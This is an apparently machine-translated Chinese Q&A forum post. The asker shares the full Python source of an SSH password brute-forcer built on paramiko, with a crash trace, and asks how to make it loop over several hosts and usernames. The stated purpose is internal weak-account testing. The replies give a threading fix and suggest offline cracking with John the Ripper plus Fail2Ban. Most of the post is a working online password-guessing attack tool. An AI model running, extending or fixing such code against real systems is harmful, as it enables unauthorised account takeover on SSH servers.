Python問題與多個循環和線程

Question

我不是一個Python程序員，但我得到了一個完美工作的代碼片段，但我需要修改它以循環低谷文件並獲取一些數據並執行相同的任務。顯然，它做工精細，但在第一行結束時獲得的崩潰是這樣的：

python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt 

************************************* 
*SSH Bruteforcer Ver. 0.2   * 
*Coded by Christian Martorella  * 
*Edge-Security Research    * 
*laramies@gmail.com     * 
************************************* 

Username file: Users.txt 
Password file: passlist.txt 
************************************* 


HOST: 192.168.1.3 
Username: bob 
Trying password... 
zzzzzz 


Username: john 
Trying password... 

Traceback (most recent call last): 
    File "x.py", line 146, in <module> 
    test(sys.argv[1:]) 
    File "x.py", line 139, in test 
    test_thread(name) 
    File "x.py", line 81, in test_thread 
    thread.join() 
Zxcvbnm 

的應用程序是一個小工具，測試弱SSH賬戶，最近我們的一些暴力攻擊目標和我們也阻止了所有這些，但我們也想定期測試弱賬戶，因爲可用的應用程序（比如美杜莎）崩潰了，我決定修改這個在我們的系統上正常工作的程序，但是每個用戶的主機和用戶都是對我們來說不太現實。這不是一個未經授權的測試，我是IT的成員，我們正在這樣做，以防止違規！

import thread 
import time 
from threading import Thread 
import sys, os, threading, time, traceback, getopt 
import paramiko 
import terminal 

global adx 
global port 

adx="1" 
port=22 
data=[] 
i=[] 

term = terminal.TerminalController() 
paramiko.util.log_to_file('demo.log') 

print "\n*************************************" 
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+"   *" 
print "*Coded by Christian Martorella  *" 
print "*Edge-Security Research    *" 
print "*laramies@gmail.com     *" 
print "*************************************\n" 

def usage(): 
    print "Usage: brutessh.py options \n" 
    print "  -H: file with hosts\n" 
    print "  -U: file with usernames\n" 
    print "  -P: password file \n" 
    print "  -p: port (default 22) \n" 
    print "  -t: threads (default 12, more could be bad)\n\n" 
    print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n" 
    sys.exit() 

class force(Thread): 
    def __init__(self, name): 
     Thread.__init__(self) 
     self.name = name 

    def run(self): 
     global adx 
     if adx == "1": 
      passw=self.name.split("\n")[0] 
      t = paramiko.Transport(hostname) 
      try: 
       t.start_client() 
      except Exception: 
       x = 0 

      try: 
       t.auth_password(username=username,password=passw) 
      except Exception: 
       x = 0 

      if t.is_authenticated(): 
       print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL 
       t.close() 
       adx = "0" 
      else: 
       print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL 
       t.close() 
     time.sleep(0) 
     i[0]=i[0]-1 


def test_thread(names): 
    i.append(0) 
    j=0 
    while len(names): 
     try: 
      if i[0]<th: 
       n = names.pop(0) 
       i[0]=i[0]+1 
       thread=force(n) 
       thread.start() 
       j=j+1 
     except KeyboardInterrupt: 
      print "Attack suspended by user..\n" 
      sys.exit() 
    thread.join() 

def test(argv): 
    global th 
    global hostname 
    global username 
    th = 12 
    if len(sys.argv) < 3: 
     usage() 
    try : 
     opts, args = getopt.getopt(argv,"H:U:P:p:t:") 
    except getopt.GetoptError: 
     usage() 
    for opt,arg in opts : 
     if opt == '-U': 
      username = arg 
     elif opt == '-H': 
      hostname =arg 
     elif opt == '-P': 
      password = arg 
     elif opt == '-p': 
      port = arg 
     elif opt == "-t": 
      th = arg 

    try: 
     h = open(hostname, 'r') 
    except: 
     print "Can't open file with hostnames\n" 
     sys.exit() 

    try: 
     u = open(username, "r") 
    except: 
     print "Can't open username file\n" 
     sys.exit() 

    try: 
     f = open(password, "r") 
    except: 
     print "Can't open password file\n" 
     sys.exit() 

    print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password 
    print "*************************************\n\n" 

    hostfile = h.readlines() 
    for hostname in hostfile: 

     print "HOST: " + hostname.rstrip('\n') 
     userfile = u.readlines() 
     for username in userfile: 

      print "Username: " + username.rstrip('\n') 

      print "Trying password...\n" 
      name = f.readlines() 
      #starttime = time.clock() 
      test_thread(name) 
      #stoptime = time.clock() 
      #print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime) 
      print "\n" 

if __name__ == "__main__": 
    try: 
     test(sys.argv[1:]) 
    except KeyboardInterrupt: 
     print "Attack suspended by user...\n" 
     sys.exit() 

如何解決此問題？

謝謝。

Answer 1

import thread 
... 
from threading import Thread 

不確定爲什麼您決定導入兩個名稱幾乎相同的類。看起來危險！

我想你需要Thread.join（）而不是thread.join（），因爲線程有一個聯接調用，但線程沒有。

Answer 2

由於您有權訪問機器，因此轉儲密碼文件並使用John the Ripper來查找弱帳戶會更好。離線密碼攻擊遠遠快於在線攻擊。您還應該考慮運行Fail2Ban或類似的東西，它會通過阻止濫用IP自動阻止SSH暴力攻擊。